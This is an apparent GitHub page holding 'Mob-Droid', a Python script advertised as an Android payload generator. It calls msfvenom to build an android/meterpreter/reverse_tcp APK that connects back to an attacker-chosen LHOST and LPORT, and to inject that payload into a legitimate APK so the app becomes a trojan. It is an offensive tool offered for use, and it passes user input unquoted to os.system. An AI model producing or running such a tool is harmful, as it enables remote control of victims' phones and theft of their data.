-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathmob-droid.py
99 lines (91 loc) · 3.74 KB
/
mob-droid.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Author Mohit Kumar
# Instagram Kinghacker0
# Website https://elearning.hackersking.com
# Copyright © 2025 Hackersking
import os, platform
from sys import exit
from time import sleep
# Colors for styling
red = '\033[91m'
orange = '\33[38;5;208m'
green = '\033[92m'
cyan = '\033[36m'
yellow = '\033[93m'
blue = '\033[94m'
magenta = '\033[95m'
bold = '\033[1m'
end = '\033[0m'
def head():
os.system('clear')
print(f"""{bold}{red}
▀▄ ▄▀
▄█▀███▀█▄
█▀███████▀█
█─█▀▀▀▀▀█─█
▀▀─▀▀
***** {yellow}Mob-Droid -Latest Android Payload Generator{red} *****
{cyan}Follow me :{end}
{green}• More on GitHub : {cyan}https://github.com/kinghacker0{end}
{green}• YouTube: {cyan}https://www.youtube.com/@hackersking101{end}
{green}• Join Our Community: {cyan}https://hackersking.rpy.club{end}
{bold}{red}----------------------------------------------------
© 2025 Hackersking eLearning
----------------------------------------------------{end}""")
def install_tools():
head()
print(f"{bold}{yellow}Installing Apktool, Apksigner, and Zipalign...{end}")
os.system('git clone https://github.com/kinghacker0/Apktool')
os.system('wget https://github.com/kinghacker0/Apktool/releases/download/2.11.0/apktool.jar -O apktool.jar')
os.system('wget https://raw.githubusercontent.com/patrickfav/uber-apk-signer/master/apksigner -O apksigner')
os.system('wget https://developer.android.com/studio/command-line/zipalign -O zipalign')
print(f"{green}Tools installed successfully!{end}")
sleep(2)
def generate_payload():
head()
lhost = input(f"\n{cyan}Enter your LHOST{end}\n{green}{bold}Mob-Droid:~/LHOST#{end} ")
lport = input(f"\n{cyan}Enter your LPORT{end}\n{green}{bold}Mob-Droid:~/LPORT#{end} ")
output = input(f"\n{cyan}Enter the name of output file{end}\n{green}{bold}Mob-Droid:~/output#{end} ")
payload = 'android/meterpreter/reverse_tcp'
os.system(f'msfvenom -p {payload} LHOST={lhost} LPORT={lport} -o output/{output}.apk')
sleep(3)
if os.path.isfile(f'output/{output}.apk'):
print(f"{green}Payload generated successfully!{end}")
else:
print(f"{red}Failed to create payload! Try again.{end}")
def inject_payload():
head()
original_apk = input(f"{cyan}Enter the path to the original APK:{end} ")
lhost = input(f"{cyan}Enter your LHOST:{end} ")
lport = input(f"{cyan}Enter your LPORT:{end} ")
output = input(f"{cyan}Enter the name of injected APK:{end} ")
payload = 'android/meterpreter/reverse_tcp'
os.system(f'msfvenom -x {original_apk} -p {payload} LHOST={lhost} LPORT={lport} -o output/{output}.apk')
print(f"{green}Payload injected successfully!{end}")
def main_menu():
head()
print(f"{bold}{yellow}Select an Option:{end}")
print(f"{green}[1]{end} Generate Android Payload")
print(f"{green}[2]{end} Inject Payload into Original APK")
print(f"{green}[3]{end} Install Apktool, Apksigner, Zipalign")
print(f"{green}[0]{end} Exit")
choice = input(f"\n{bold}{cyan}Mob-Droid:~#{end} ")
if choice == '1':
generate_payload()
elif choice == '2':
inject_payload()
elif choice == '3':
install_tools()
elif choice == '0':
exit(0)
else:
print(f"{red}Invalid option! Try again.{end}")
sleep(2)
main_menu()
if __name__ == "__main__":
try:
main_menu()
except KeyboardInterrupt:
print(f"\n{red}Process interrupted by user. Exiting...{end}")
exit(0)